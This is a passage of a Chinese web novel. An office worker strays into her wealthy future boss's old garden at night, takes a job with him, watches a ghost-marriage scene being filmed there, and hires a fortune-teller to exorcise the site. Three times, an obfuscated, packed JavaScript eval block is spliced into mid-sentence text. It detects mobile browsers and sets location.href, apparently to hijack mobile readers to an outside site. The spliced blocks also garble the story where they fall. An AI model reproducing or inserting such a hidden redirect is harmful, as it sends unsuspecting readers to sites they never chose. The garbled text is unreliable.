已经是第二天早上了吗?她心中有种劫后余生的窃喜,挣扎着坐起身才发现,她以为的“太阳”原来是头顶的吊灯。 “喝点茶吗?”突然有声音从她身后传来,斜后方也伸出一只手,递了一盏青花小茶盅到她面前。那只手很修长很白皙,指关节处还透着些许粉色,手背上几丝微微凸起的青筋。 这是一只很适合入画的手。 顺着这只手,她抬眼看过去…… 没想到会在这里见到裴慎如。 “你……您怎么会在这里?”她非常困惑。 “这是我的一个园子,偶尔会过来。”裴慎如表情未变,姜与荷却有种“他在看智障”的感觉……在人家家里乱跑乱叫,还反问主人“你怎么也在啊”? 尴尬,太尴尬了…… 她怎么没早点想起来人家是观声大股东呢,借地方给员工拍摄不就顺理成章了嘛?看来周英然是真的出息了啊,能借到裴慎如的私宅,应该挺受赏识的吧,以后发达了可不要忘记她…… 裴慎如自然不知道她此刻的头脑风暴,他反问道:“你怎么会在这里?” 她支支吾吾地解释:“我忙着……忙着布置场地,忘记下班时间了,天又黑,就……一下子找不到出口了。” 既隐去了她摸鱼睡觉的事,又暗示了自己沉迷工作自愿加班,自己这次急中生智简直完美! “那么多同事,没一个人提醒你吗?” “也不是啦……我,嗯……工作的地方比较偏僻,他们可能以为我已经走了吧。” 也许是信了她的鬼话,也许是并不怎么在意,裴慎如没有再追问什么,低头饮了一口茶。 姜与荷刚才狂奔了半天,又担惊受怕的,这时也顿觉自己浑身疲乏,又累又渴,端起面前的茶盅便一饮而尽。 她喝得太快,品不出什么滋味,只觉得茶香里混着花香,顺着食道滚落下肚,暖融沁芳,感觉五脏肺腑都舒展了开来。 可惜茶杯太小,两口就喝没了,但她对着裴慎如也不好意思让人多倒点,毕竟人家是品茶,她是饮牛。 轻轻放下杯子,她盘算着怎么开口告辞。请他派个人送她出去不过分吧?她一个人可不敢走…… 她低头专心打着腹稿,没注意到面前多了一只天青莲瓣压手杯。杯型饱满,容量比刚才的小茶盅大多了。裴慎如提起茶壶斟满一杯,向姜与荷的方向推了一推。 “谢谢……”姜与荷是个非常不喜欢麻烦别人的人,更不擅长消受别人的好意,这只特意被翻找出的不成套的杯子,让她觉得自己在给人添乱。 “再大点的咖啡杯不在这间屋子,先用这个喝吧。” “咖啡杯?不大合适吧?”有钱人也跟她一样不讲究? “没什么合不合适,都是给人用的。”他往茶壶里加了点水。 姜与荷不再多话,专心喝茶。窗外更深露重,隐隐有风声呼啸而过。她坐在明亮温暖的屋子里,捧着一杯热茶,后知后觉地生出许多对裴慎如的感激。 要是他当时没有开门,或者开门早了一些、晚了一些,都不会碰巧捞到她。那么现在她可能正跌坐在后院的某个角落号啕大哭,或者被吓晕倒地,躺在黑暗中吹冷风。 难道那位大师嘴里的“大富贵气运”还真的必须是人的?事到如今,姜与荷再也不敢将信将疑了,都精准算出七月半了,谁知道下次还会碰上什么? 等她回家了要努力回想当时大师的每一句话,铭记在心、反复钻研。 她目前最大的心愿就是能再次碰到那位大师,求他指条明路,给个化劫消灾的法子。收钱也行,花点钱总比想办法跟在裴慎如身边容易啊…… 说到这里,不得不佩服他的定力。大晚上的,刚开门就看到一个尖叫的疯女人向他跑来,不仅没被吓住,还能冲上前抓人,这等胆量让姜与荷望尘莫及。 说起来他突然开门,也是因为听见了她的尖叫吗? 姜与荷默默叹气,今晚真是丢人丢到家了…… 看了眼墙上的挂钟,已经快十二点了,看来她这一觉睡得还挺久。她刚打算起身告辞,就听见裴慎如开口说道:“我上次的提议,你可以再考虑考虑。” 上次?是在紫庭那次吗? “是说可以来你这边工作吗?” “你愿意来吗?” 姜与荷停顿了一秒,然后忙不迭地点头:“来来来!” 过了这村就没这店了,今天可能是她最后的机会。大师可以慢慢找,先把眼下的难关度过去再说,面子哪有命重要! “不过我跟的这个项目刚开始呢,现在有点走不开……我可以等这边步入正轨了再来吗?”她小心翼翼地问道。 占了便宜还提条件看起来有点不识好歹,但是周英然这边一团乱麻刚理出点头绪,第一个单元马上准备拍摄了,她现在也做不到直接甩手离开。 并不是她有多么不可替代,而是现在换人肯定会拖慢进度,对于节目的摄制来说,慢一天就意味着多烧一天的钱。虽然预算肯定会超,但是超多超少也不一样。周英然已经忙得团团转了,她就少添点乱吧。 “可以。”裴慎如看起来并不在意。 解决了心头一块大石,她顿觉轻松许多,这座园子好像也没那么可怕了:“这么晚了,我差不多也该回家了,应该走哪条路啊?” 她就不信裴慎如会一个人住这么大的园子,希望他听得懂自己的暗示,派个人来领她出门吧,拜托拜托…… “我送你吧,工人们应该都睡下了。”裴慎如起身拿了件外套。 姜与荷赶忙推辞:“这怎么行,我自己走就可以了……” 老板跟你客气客气,哪能真的让他送啊?这点眼力见她还是有的。 “走吧,已经很晚了。”他开门转身,示意姜与荷跟上。 还真的打算亲自送她?这么为员工考虑的吗?他好像也没有自己想象的那么高高在上…… 很高兴自己的未来老板是个懂得体贴员工的资本家。 夏季的末尾,夜半的风已经有几丝透骨的寒意。姜与荷今天穿的还是短袖,刚才跑动的时候还觉得热,现在吹了点风胳膊上就起了鸡皮疙瘩。回去得煮点姜汤喝喝,这一晚上折腾的,她真怕自己感冒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486740|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然她感觉自己身上披了件衣服,低头一看,原来刚刚那件外套是给她拿的? 看了眼穿着长袖衬衫的裴慎如,他应该不觉得冷吧……那自己还要客气一下把外套还给他吗?推来让去的自己都觉得烦,他会不会更烦?那是不是该说点什么溢美之词给老板提供点情绪价值? “……谢谢。” 心有余而力不足,不擅长的领域她不敢轻举妄动,万一马屁拍到马腿上就糟了。 不过至少可以说点什么活跃下气氛:“这天也太黑了,我开个手电筒吧……” 她刚掏出手机,就见裴慎如抬手在游廊的墙壁上按了一下,庭院里瞬间换了一副模样。 那些假山花树再也没有了黑暗中的诡异感,在层次分明的柔和灯光的映照下,反而多了几分日光下见不到的瑰魅风情。 大意了,被贫穷限制了想象力……所以刚才不开灯是你就喜欢黑暗吗??? 很好,很符合总裁应有的爱好。 姜与荷突然想到了什么:“我们拍摄的那个后院里……” “都通了电。”裴慎如淡淡瞟了她一眼。 …… 这门口怎么这么远,走了这老半天还没到啊……她拼命想着别的事情,试图让自己显得没有那么尴尬。 他们确实到不了门口,因为裴慎如带她去的是停车场。 “这也太麻烦您了,我自己打个车就可以。”她实在不擅长和领导独处,清和小筑虽然不在闹市区,但位置并不算偏远,应该还是能叫到车的。 裴慎如随手选了辆车,径自开门,还难得地讲了个冷笑话:“这个点来的车,你不担心是人是鬼?” 虽然这个笑话一点都不好笑,但是话里的关键词触发了姜与荷短暂遗忘的记忆——今天是中元节。 她麻溜蹿上车,系好安全带,只希望能平安回到她温馨的小窝,洗个澡好好睡一觉。 她对大宅子已经有了心理阴影,现在看80平的商品房都嫌太空旷。 回去的路上,裴慎如专心开车,车里一片沉默。姜与荷斟酌了半天,终于还是决定开口:“您这个宅子……年代很久了吧?” “明末建的。” 那就是三四百年了啊……她瞬间想到各种宅斗小说的爱恨情仇。这大宅里应该死过不少人吧?不管是不是自然死亡。 后面还不知道要在这里拍摄多久,虽然今天的事情大概率是她自己瞎脑补,但一想到要常来这儿,她还是觉得有点瘆得慌。 她颇为狗腿地提议:“我们这次虽然搭的是喜堂,但是是给冥婚用的,说起来总是不大好。需不需要找个大师来做个法事,去去晦气啊?这么好的园子,别被坏了风水。” 等红灯的间隙,裴慎如微微侧头,看了她一眼:“你们看着办吧。” 得到了大老板的口谕,她又可以借此忽悠周英然点头。 大老板借私宅给她拍摄,她投桃报李,搞点仪式表示一下,天经地义嘛不是?自己再努努力争取找到那位大师,请他屈尊过来做个法事,到时候也许她能蹭一蹭,公费渡劫呢? 这就是欺上瞒下的滋味吗,简直……完美! 16. 拍摄 最担心的问题算是解决了一半,姜与荷瞬间感觉人生又充满了阳光。 不过她今晚也真的是被吓得够呛,一躺上床就感觉手脚沉重,难得的沾了枕头就昏昏欲睡。她在眼皮合上前强撑着请了半天假,决定第二天必须要睡饱了再去上班。 这几天她不想再去外景现场了,就在办公室里干活。这档综艺的嘉宾已经基本敲定,因为有观声背书,又是重点项目,所以在业内颇受关注,很多人都投来了橄榄枝,老戏骨、小鲜肉、演技派和流量们应有尽有。 选择常驻嘉宾也是个痛苦的活,除了要综合考虑话题度、现场演技、主持控场能力等等,还得不断协调嘉宾的档期、满足他们各种各样的要求、随时准备好接到对方变卦的通知,然后一切方案推倒重来。 背靠大厂也不是万能的啊……姜与荷默默叹了口气。 这些日子她深刻认识到了物种的多样性,明星们都各有各的脾气,有的爱好小牌大耍,有的倒是全程彬彬有礼,可惜一个明星不止是一个明星,而是一个团队。 职业经纪公司的还好些,家庭作坊就太可怕了,大多充满了一种自以为是的无知和莫名其妙的傲慢,其中有位童星出身的待爆小生的团队尤甚。 即使208声名在外,她有几个瞬间仍然控制不住地同情起那位谦逊低调的艺人。虽然对方是位男性,却总让她觉得像一个被父母待价而沽的大姑娘。当得知那位小生家里还有个备受宠爱的小弟弟时,她好像明白了点什么。 果然啊……女性是一种处境。 经过无数轮激烈的讨论和协商,最后终于敲定了8位常驻嘉宾,还有一两个飞行嘉宾的名额,留给近期有宣传需求的艺人。 这期的飞行嘉宾就是即将上线的一部仙侠剧的男女主角——那位童星出身的小生张运风,和最近声势渐起的小花苏曼曦。 不得不说苏曼曦实在是个漂亮的女人,清纯明媚,又带着几分难得的书卷气,一穿上古装活脱脱一个大家闺秀,她扮演的就是本集的女主角——一位意外亡故后被家人卖给大户人家早逝少爷配阴婚的可怜女子。 虽然穿上新娘嫁衣的她艳色逼人,但是那层叠飘逸的衣袍总能勾起姜与荷一些可怕的回忆。而且录制了一天了,现在已经是晚上十点多,她不想再看他们拍摄。 正好周英然今天也在,她立马瞅准时机溜进小厢房内大进谗言。 “小英姐,我看他们拍摄,那个冥婚场的气氛阴森森的,好吓人啊。”她蹙眉捧胸作心悸状,可惜因为毫无演技,看起来像个浮夸的通告咖。 实际上拍摄氛围也毫不阴森,拍摄人员、艺人助理、后勤场务……各类工作人员在镜头外站得满满当当,可以算是人气爆炸。 除了拍摄用的灯光之外,后院的灯也全都开了,照得外面亮如白昼,让姜与荷越看越气。 原来电灯开关就在喜堂门口……她但凡胆子稍微大一点点,就不用出那么大丑……啊啊啊啊啊越想越丢脸! 不过话说回来,姜与荷着实佩服这些艺人。不管演技如何,能在这么多双眼睛注视下旁若无人地表演爱恨情仇就是一种能力,她哪怕只是幻想一下站在镜头前的是自己就尴尬得想要当场自杀。 周英然从电脑前抬起头给了她一个眼神,然后又低下头继续敲键盘:“你想干嘛?” 姜与荷颇为狗腿地凑上前:“没干嘛呀,我就是听说,举办某些仪式可能会招来什么不干净的东西……这个园子不是裴先生借给你的吗,万一人家也有忌讳呢?有钱人不是都挺讲究这个的嘛。要不要拍摄结束后找个大师来做做法事啊,不管有没有用,至少您的心意到位了呀~” “你怎么知道这是裴先生的园子?”周英然抬头,挑了挑眉,“而且,你怎么会认识裴先生?” 完了,好像说漏嘴了……要坦白吗,该怎么说? 你好,其实我是裴先生的朋友的前女友,是被裴先生塞进来的关系户?然后周英然看着她一副小喽啰样,觉得她癔症发作,吹牛没边了,然后自己再从头跟她解释一遍这段时间的奇遇? 但是就连自己回想一下都觉得好假…… 姜与荷想到后面一串的问题就觉得头大,算了,多一事不如少一事:“我上次不是来这盯进度嘛,事太多了我也跟着帮忙,一不小心就错过下班时间了,想办法出去的时候正巧碰到了裴先生。” 周英然对她这漏洞百出的解释明显不怎么相信,可能是怀疑的重点放在了“姜与荷忙于工作忘记下班”这件事上,对其他的就没怎么在意了。 她并没再追问裴慎如的事,只是凉凉地评价了一句:“没想到裴先生还挺平易近人啊。” “是啊,我也没想到呢……我当时跟裴先生也提过这事,他也觉得不错,让我们看着办呢。”姜与荷乘胜追击,势必拿下周英然。 “去哪找大师?” “我碰到过一个,简直是料事如神!绝对是真正的大师!” “哦?”周英然的目光充满怀疑。 可别以为她是吃了回扣啊,虽然她想要的也算是另一种“回扣”…… 姜与荷急忙解释:“真的,就那天我送你回家之后碰上的,他都没问我八字就算出来我会倒霉。” “而且没收我钱。”这个必须特别强调。 “哦,你倒什么霉了?” 姜与荷眉头紧蹙,一脸的不堪回首:“唉,往事不要再提……” “那等这边结束清场之后请他来一次吧。”周英然点头。 这下轮到她犯难了:“呃……我目前,还没有他的联系方式……” 周英然没说话,但眼睛里写满了“那你在废话什么”? 面对着那仿佛看弱智的目光,姜与荷压力山大,只能拍胸脯向她保证这个礼拜肯定能找到他,然后迅速溜走。 这么晚了,她只敢呆在人多的地方,所以又只得回去看他们录制。 她去的时候已经接近尾声了。 真相大白之后,少女的亡故不是意外,少爷的早逝也是有意为之。掩藏在熏心利欲和权势争夺下的,是两个同被父母家人舍弃的可怜人。 回忆的剧情里,他们也总是擦身而过,却从未打过照面。 生前虽然未曾得见,死后却能同穴而眠,也是这两个可怜人难得的一点缘分吧。 张运风和苏曼曦在这里都贡献了超水准的演技,姜与荷看过他们之前的作品,只能说主要靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486741|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸撑着,没想到在一个综艺里居然硬生生拍出了话剧的感觉。 而且正好还能当作他们即将播出的那部仙侠剧的前世情缘,她预感这一期上线后效果会非常好,开门红妥妥的。 结束后又是半夜,她这次绝对不会再落单了,必须紧紧跟随大部队。艺人们自然有保姆车可以休息,剩下的工作人员就边扫尾边聊起圈内八卦来。说到八卦,姜与荷瞬间精神百倍,竖起耳朵生怕错过一丁点。 “哎,你看见刚才来的王董了吗,这么晚还来探班,看来这位正值盛宠啊~” “王董也算是模范金主啦,至少睡了的是真肯砸钱捧,从不白嫖。” “哈哈哈哈哈哈……” 姜与荷听得云里雾里:“你们说的是谁啊?” “还能有谁,今天的女主角呗。” “苏……!?”姜与荷有一瞬间的震惊,因为实在无法和她清逸绝尘的气质联系到一起。但是想想圈内现状,她只能摇摇头。 “是啊,就是这些人,把圈子搞得乌烟瘴气的。”一个工作人员接话。 然后就是七嘴八舌的口诛笔伐,各路明星黑料都齐活了。今晚的喜堂不是喜堂,是营销号的天堂,姜与荷感觉自己要是带个录音笔,都能直接转行当八卦博主。 作为工作人员,平时难免受点艺人的气,背后提起他们自然不会留情。不过姜与荷听他们越说越夸张,都把艺人说成万恶之源了,也有点听不下去:“也不能这么说吧……他们哪有那么大本事。” “能混出来的哪个没本事啊。”有人嗤之以鼻。 姜与荷解释:“那也没法跟真正的大佬比啊,圈里大多数还是又没版权、又没资金、又没人脉的,只能被人挑挑拣拣,能有本事搞坏风气的怎么也轮不到他们呀。” “你说得也有点道理哦……” “之前不也有不肯被潜的嘛,没多久就听不见声音了。” “听说好像回去读书了。” 大家又叽叽喳喳讨论开了。 “王董来的那会,我还看见他夫人就在外院亭子里坐着喝茶打电话呢。” 姜与荷被这个瓜震惊到了:“有钱人这么想得开的吗?!” “害,这种的多了去了,各玩各的也不少,说不定他老婆也在跟小鲜肉聊天呢。”旁边的人笑姜与荷少见多怪。 姜与荷挤眉弄眼地阴阳怪气起来:“一个董事长,一个董事长夫人,外面看着赫赫扬扬,原来都是被小明星迫害的老实人啊~好好的富豪都被勾引坏了~~” 大家一时无语,都被她逗得笑了起来,片场内外充满了快活的空气。 收拾得差不多了,司机也已经就位,姜与荷早就等不及了,挎上包包就率先跑向停车场。哪知道没跑几步,就看见拐角处一片血红色衣袂一闪而过。 这看着怎么像……今天的新娘嫁衣?可是苏曼曦这会早就走了,还有谁会穿? 她瞬间又想起了那天晚上自己隐约瞟到的人形黑影…… 她真的服了,裴慎如的八字到底是多硬啊,能住这种地方! 立马蹿回喜堂钻进人群,她决定把寻找大师列为TOP1的紧急事件。 大师,等等我! 17. 驱邪 第一期拍完后,姜与荷稍微轻松了一些。这些日子她天天下班后跑去那个小公园附近晃悠,愣是一次都没碰见过那位大师。 本来就记不大清那人的模样,再找不到,她怕自己遇见了都认不出人。 会不会他摘了墨镜,所以自己没认出来?但是听说真大师因为泄露天机都有点残缺啊,不瞎的也不会大晚上戴墨镜吧……姜与荷反复开导自己。虽然她已经离开了那个园子,但是谁知道这种“东西”会不会跟着她啊? 人就是这样,越想越怕,越怕越想,未知的事物,总是需要找点“世外高人”来给自己一点心理安慰。 这两天后期在紧锣密鼓地加班,没有要补拍的消息,清和小筑那边应该是不需要再用,可以彻底清场了,这也导致姜与荷越来越着急。 要是她在周英然把园子正式还回去前还没找到人,那这事就算彻底黄了。“周英然借来的场地”和“裴慎如的私宅”,那可完全是两个概念。 焦虑之下,她连午休都放弃了,吃完午饭就从食堂溜出来随处乱转。 她一路上超刻意地东张西望,但是没有一张脸让她似曾相识。街上的路人也都超刻意地扭头回避她的视线,害怕多看一眼就会被精神病缠上。 她心下失望,只能去买杯奶茶解解闷。还好工作日的中午,那家平常总是爆满的奶茶店现在没什么人排队,她决定今天要来杯全糖的。 因为目前就她一个顾客,所以她任由选择恐惧症发作,思考得有点久,然后就听后面传来一个声音:“小姐,你点单吗?” 没想到后面有人排队,她连声道歉,扭头就看到一副熟悉的墨镜。她睁大眼睛仔细观察,脑子里拼命回想…… 什么叫踏破铁鞋无觅处,得来全不费功夫啊! 感谢奶茶女神!我以后每天都会来一杯的! 她当下难掩激动,抓住他的手臂就问:“大师!是我啊,你还记得吗?那天你给我算过命的!” 对方好似被她惊到了,愣了两秒才回道:“啊,啊?!哦……嗯,我记得你。” “大师,你居然连排在你前面的是男是女都算得出来啊,果然是神算。”姜与荷马屁已经开始拍上了。 “呵呵,雕虫小技而已。” “您要喝奶茶吗?我请啊,要喝什么?几分糖?” “……鄙人一般喝碧螺清茶。” “好的好的,奶茶店的茶叶都不怎么样,下次我给您带头茬的正宗碧螺春,自己采自己炒,最新鲜的!” “多谢,不必如此客气。” “要的要的……” 两杯茶做好,她拉着大师坐在店里的小沙发上:“大师,上次你不是让我小心七月半吗?结果真出事啦!” “该来的躲不掉。”对方老神在在,毫不意外。 “所以想请您看看有没有什么办法,帮我把这劫化解了?”话音刚落,姜与荷又迅速补充,“出事的地方就在我们工作的一个外景点,我们领导也觉得需要做个法事,给我批预算啦,您看麻烦您出场的误工费多少比较合适呢?” 大师没答话,只是掐指一算:“清和小筑?” “对对对,就是那!”哎呀妈呀,这绝对的大师啊!还好给自己碰上了! “年头太久的宅子,又荒废了好些年。现在还是私宅,平日人气不足,是容易招些孤魂野鬼。” 姜与荷点头如捣蒜:“是啊是啊,您不知道那个宅子有多大……还有人敢在那过夜,我也是服了。” “命格极贵极重,就压得住。” “那倒是……”姜与荷也不得不承认这一点,“那大师,您什么时候方便……?” 大师又掐指一算:“三日之后,极阳极阴之时。” “哦,哦……”虽然完全没听懂,但也不耽误她加上了大师的微信,先留好联系方式再说。 大师的微信名叫袁淳一,他说这就是他的真名,以后叫他淳一先生就行了。 “那您的报酬……?”姜与荷小心翼翼地确认,万一到时候人家开了个高价,周英然又嫌贵,到时候势必得她补上差价,那不得心疼死她? 大师,不,淳一先生摇了摇头:“修道之人分内之事,何须报酬?” 姜与荷感激涕零,自己何德何能,遇上这位大师救自己于水火。 还不收钱! 她迈着轻快的步伐回去向周英然报告,感觉人生又光明了起来。毒辣的阳光在为她补钙,嘈杂的车流在为她歌唱,啊,多么美好的一天~ 不出所料,周英然对大师愿意免费出场表示非常满意,对姜与荷的工作表示高度认可。 “我就说这位真是高人吧?”姜与荷很是得意,力证自己眼光如炬。不过她也不是单为这件事来的:“小英姐,还有个事……” “又怎么了?” 她有点不好意思:“就是……我准备换工作,手上的活我梳理得也差不多了,这两天你找人和我交接下吧。” “你不是才进来没多久吗?这就找到更好的了?”周英然也有点惊讶。 “嗯……算是吧……” “可以啊,你运气这么好。” “其实是运气不好才……”姜与荷感觉心里塞塞的。 经过第一期的拍摄,项目已经逐渐上了正轨。前期的工作姜与荷也都整理得很清楚,所以交接过程很是顺利,毕竟大厂最不缺的就是牛马。 周英然知道她能去更好的地方,也为她高兴,说要请客为她饯行。她实在推辞不掉,就约了大师做法结束后一起聚餐。 约好的那天到了,大师说直接在清和小筑碰面。姜与荷一大清早就醒了,掏出手机查了半天,还是发了条微信:“淳一先生,您今天几点来呀?” 那边过了半天才回复:“十点半。” “这么早就办法事啊?那我现在出发!” “办法事是12点,我坐地铁一个小时。” “哦哦……” 十一点半,姜与荷在清和小筑后门口张望着,终于盼来了人。今天的大师穿着一件极其鲜亮繁复的法衣,戴着道冠,在人群中极为显眼。 他就是穿成这样坐地铁的吗……姜与荷暗叹,果然是世外高人,根本不在乎尘俗的眼光。 法坛设得很简单,淳一先生从随身的大包裹中拿出香炉摆好,轻轻吹一口气,引燃了三根香。然后掏出一个铜碗,从荷花池中接了一碗水,一手持碗,一手拿着杨柳枝蘸水洒遍法场,口中念念有词。 姜与荷按照他的吩咐不敢靠近,只是远远看着,也听不懂他在念什么。只见他拿着桃木剑挽了几个剑花,手持宝葫芦,大喝一声“收!”。话音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14486742|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚落,盖上盖子,他示意姜与荷法事完毕,可以近前。 姜与荷心下很是害怕,但是视线仍然控制不住地往他手上的宝葫芦飘去。 “淳一先生,这,这里面……”她的声音颤抖,人好像也有点抖,其实她也不是很想听到答案…… 所幸淳一先生并未回答,只问:“你们这拍的什么外景?阴婚?” 当下道具都已经全部清离,后院早已回复到了原来的模样,完全看不出丝毫曾办过婚礼的样子。姜与荷听他这样问,顿时心下大骇:“是,是啊,都……都拍的假的呀……” 淳一先生勾起嘴角:“在办过真阴婚的地方拍假阴婚,你们玩得还挺刺激。” 我的老天爷啊!姜与荷感觉自己又要晕过去了。她就知道这地方不对劲!!!谁选的场地,她此生与他不共戴天!!! 看她脸色煞白,淳一先生安慰她:“你也别太沮丧,你碰上这事主要是你最近运势太差,跟地点关系不大,你看别人就啥都没感觉到吧?” …… 谢谢您的安慰,虽然毫无效果…… 淳一先生收拾完东西,把法衣一脱,露出里面的polo衫,回头一看,姜与荷脸色更差了,一脸的槁木死灰。 他又劝了两句:“人的运气会变的,我看你早已遇到贵人,多蹭蹭人家的运势,逢凶化吉、趋福避祸都由此而来。” 真……真的吗?一番话让姜与荷看到了曙光。别的都不管了,熬过这一段霉运才是当下最要紧的事。 目前的首要任务,抱紧裴慎如的大腿! 在想给淳一先生打个车被拒绝后,姜与荷目送着他的背影离开,然后去了周英然定的餐馆。今天张牛也在,作为姜与荷的“师父”,以及部门中为数不多和周英然关系不错的人,她们都觉得应该喊他一起。 这次是老张带了一瓶好酒来,姜与荷看着他们俩推杯换盏渐入佳境,默默在一边借酒浇愁。 可惜她这个酒量,喝着毫无感觉,完全没有借酒浇愁的意境。 死酒,快醉啊!连这种事都不能如意,不能不使她悲从中来。 对面俩人终于注意到了她的不对劲,整个人恹恹的,一点都没有谋上高就的兴奋。 “你怎么这幅表情?”周英然问。 “你是要跳去哪?”老张问。 姜与荷抿着嘴鼓着脸,沉吟半晌:“裴先生叫我去他那上班。” 张牛还在问裴先生是谁,周英然已经拿过酒瓶看度数了。 姜与荷大声辩解:“我没醉!我一点都没醉!” 好了,这下周英然眼中的怀疑变成确信了。 为了自证清白,姜与荷只得从头开始说起了她和沈求章的故事,短暂的故事末尾,才有了裴慎如的一点戏份。 遮遮掩掩地说完了故事梗概,得到的是对面俩人敷衍的“嗯嗯……”,她忍无可忍:“像我这样的,要不是走后门能进来吗?!” 这下好了,对面的“嗯嗯”变得认真而郑重起来,姜与荷却没有一丁点获得认可的高兴。她现在肯定是醉了吧,一定是醉了才会干出这种蠢事…… 周英然抿了一口酒,问道:“你知道裴先生是什么人吗?” 姜与荷想了想:“一个不错的朋友吧。”至少对于沈求章来说。 “呵呵。” 18. 新工作 周英然说道:“我也是听那些高层八卦的,这位裴先生家族是世代名门,清末去了海外发展,国内产业也一直都有涉猎。近几年他开始接手集团,主要负责国内业务。他年纪虽轻,但没人敢在他面前倚老卖老。” “我只在紫庭那次见过他的面,不太清楚他的行事方式。不过无论如何,你都要小心点,不能还像在这里一样。” 姜与荷毫不惊讶,只摆摆手:“我又没觉得他是个慈善家,在他手下讨口饭吃罢了。” 她双手抱胸撑在桌上,微微倾身,一脸得意:“我都盘算过了,只要我扮演好‘好兄弟的穷困前女友’的角色,老老实实上班,只要不闯什么大祸,他才没功夫搭理我呢,搞不好等我离职了他都记不起还有我这号人。” 周英然揶揄道:“裴先生身边的工作可是人人抢破头的,你还没去就已经考虑离职了?” “害,上班不就为了挣点钱吗,钱挣够了谁还要上班,除了你。”姜与荷斜斜瞟她一眼。 张牛对此非常有共鸣:“就是就是,钱是挣不完的,但自己的时间可是越来越少的啊。” 他拿起酒杯一饮而尽:“现在存的钱都够我在老家吃一辈子了,我早就不想干了,又舍不得被裁员的n+1。小姜,等你在那边混好了,记得拉兄弟一把,叫hr早点让我毕业吧。” 真是好特别的“拉一把”的方式哦,姜与荷无语:“我什么档次啊,还能左右观声的人事决策?你清醒一点好吗!” 张牛叹口气,又干了一杯,脸色瞬间变得通红,嘴里开始念叨什么“free”“free”“youarefired!”之类的,看来是已经醉了。 又是一个菜鸡,姜与荷摇头。 还好这次的酒大多被张牛喝了,周英然还能保持清醒。她们俩一起把张牛送回了家,然后一起走去地铁站。 路上她和周英然聊了很多,同为草根出身的女性,她实在很佩服周英然身上勃发的野心和无穷的动力。当然,只是佩服,并没有要学习的意思。 虽然她们的家庭关系、成长环境、生活经历都各有不同,但不得不承认,天生的性格也有很大的影响。 但好在,这并不影响她们的友谊。 周英然工作中非常强势,甚至有点不近人情,但她其余时候是个挺随和的人,很尊重别人的想法,并没有把工作的习惯带到生活中;姜与荷就更不用说了,一般情况下她都没什么意见,所以她们俩还挺合得来。 刚熟悉起来就又要告别,她略微有点惆怅。不过朋友嘛,也不需要时时在一起,心意相通就很好了。 她们回家的地铁方向相反,姜与荷同周英然挥手告别。看着她坐的地铁远去,姜与荷突然想起离开海城的小碗。 她过得还好吗?她现在自由了吗? 找个机会去看看她吧,姜与荷心里想着。 周英然给了她两天休假,结束后她就去裴慎如那里报到了。各种手续已经有人办好,她直接去了对方给的上班地址。 那里并不是姜与荷想象的摩天大楼,看起来像是一栋别墅,位置靠近市中心又相对僻静。面前高大厚重的铜质大门把内里的一切遮得严严实实,让外人难以窥见一斑。 她扭头看看,没发现有门房,踌躇了一下还是走上前去,打算敲门。刚走了几步,面前的大门就缓缓打开了。 入目是一片开满白玫瑰的花园,还有一池睡莲在中间静静绽放;大片大片碧绿鲜嫩的草坪,在阳光的照耀下像柔软的天鹅绒。 这里的花草长得实在太好了,姜与荷看得入迷,没注意到身边多了个人。 “姜小姐,请随我来。”一位身着职业套装的女性在她身后出声。 她被吓了一跳,好在没丢人地叫出声来。她点点头,跟着这位工作人员前往主楼。这里大得有点超乎想象,她看着眼前恢弘优雅的英式庄园建筑,给自己未来的工作环境打满分。 她进入大厅,巨大的水晶吊灯折射出美丽的碎光,花纹繁复的羊毛地毯让她有点不好意思踩上去。领她来的那位女性工作人员指着中间的楼梯对她说:“吴秘书就在二楼的接待室等你,左手第一个房间。” 姜与荷略带忐忑地上了楼,楼梯口设有接待台,秀丽优雅的接待小姐为她指引了方向。她推开接待室的门,里面已经坐了一位西装革履的男子,看着一股精英范,她猜这位就是“吴秘书”。 对方见她进来,起身为她让座。姜与荷有点紧张地坐在沙发上,不知道这算不算面试? 接待小姐送了两杯咖啡进来,然后为他们关上门。 男子开口说道:“姜小姐你好,我是裴先生的秘书,吴铮。” “您好您好,我叫姜与荷。” “裴先生今天有要事外出,由我负责为你安排工作。” “好的好的,有什么事只管吩咐我。”姜与荷面上态度极为诚恳,内心祈祷他最好把她丢到一个无人在意的角落。 “你刚来,可以慢慢了解我们这里的工作。其他办公室都满了,你的办公室和我一间,有事我会叫你。” 看来她是和顶头上司同一间办公室了?这么刺激的吗? “我会努力学习的。”挤出一个谄媚的笑容,她试图给未来上司留下一个好印象。 吴秘书起身,抬手示意:“我带你去办公室。” 